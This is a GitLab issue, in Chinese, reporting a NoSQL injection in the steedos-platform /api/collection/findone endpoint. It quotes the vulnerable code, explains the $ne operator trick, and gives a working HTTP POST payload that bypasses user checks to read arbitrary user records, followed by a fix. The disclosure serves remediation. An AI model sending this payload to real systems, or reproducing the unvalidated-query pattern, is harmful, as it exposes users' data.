Skip to content

GitLab

  • 菜单
项目 Groups 代码片段
    • 正在加载...
  • 帮助
    • 帮助
    • 支持
    • 社区论坛
    • 提交反馈
    • 为 GitLab 提交贡献
  • 登录
  • S steedos-platform
  • 项目信息
    • 项目信息
    • 动态
    • 标记
    • 成员
  • 仓库
    • 仓库
    • 文件
    • 提交
    • 分支
    • 标签
    • 贡献者
    • 分支图
    • 比较
  • 议题 640
    • 议题 640
    • 列表
    • 看板
    • 服务台
    • 里程碑
  • 合并请求 58
    • 合并请求 58
  • CI/CD
    • CI/CD
    • 流水线
    • 作业
    • 计划
  • 部署
    • 部署
    • 环境
    • 发布
  • 监控
    • 监控
    • 指标
    • 事件
  • 软件包与镜像库
    • 软件包与镜像库
    • 软件包库
    • 基础设施库
  • 分析
    • 分析
    • CI/CD
    • 仓库
    • 价值流
  • Wiki
    • Wiki
  • 代码片段
    • 代码片段
  • 动态
  • 分支图
  • 创建新议题
  • 作业
  • 提交
  • 议题看板
收起侧边栏
  • steedos
  • steedos-platform
  • 议题
  • #1245

已关闭
开放中
Created 12月 22, 2020 by 庄建国@zhuangjianguoOwner

Mongodb NoSQL 注入问题

Created by: lokeex

接口对mongodb nosql操作验证不严,可能导致nosql注入。详细可参考

https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf

大多数接口存在鉴权所以未登录无法利用,这里仅仅举一个例子

漏洞产生原因

例如在 server/packages/steedos_base.js 中,存在如下代码:

JsonRoutes.add("post", "/api/collection/findone", function (req, res, next) {
...
    if (req.body) {
      userId = req.body["X-User-Id"];
      authToken = req.body["X-Auth-Token"];
    }
...
    model = req.body.model;
    selector = req.body.selector;
    options = req.body.options;
    space = req.body.space;
...
    space_user = db.space_users.findOne({
      user: userId,
      space: space
    });
...

req.body.*可以是一个object,利用$ne等mongodb的query operator https://docs.mongodb.com/manual/reference/operator/query/

构造 X-User-Id[$ne]=1 这样的参数,实际传入的参数就是 {user: {"$ne":"1"},...}

就可以查询任意的space_user并返回用户信息

复现流程

  1. 参考 https://www.steedos.com/help/deploy/deploy_docker 进行docker部署
  2. 创建账号
  3. 访问接口
POST /api/collection/findone HTTP/1.1
Host: <**>
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: <**>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 62

X-Auth-Token=1&X-User-Id[$ne]=1&space[$ne]=1&model=space_users

建议:应该在nosql操作前验证参数类型

%d位指派人
分配到
工时统计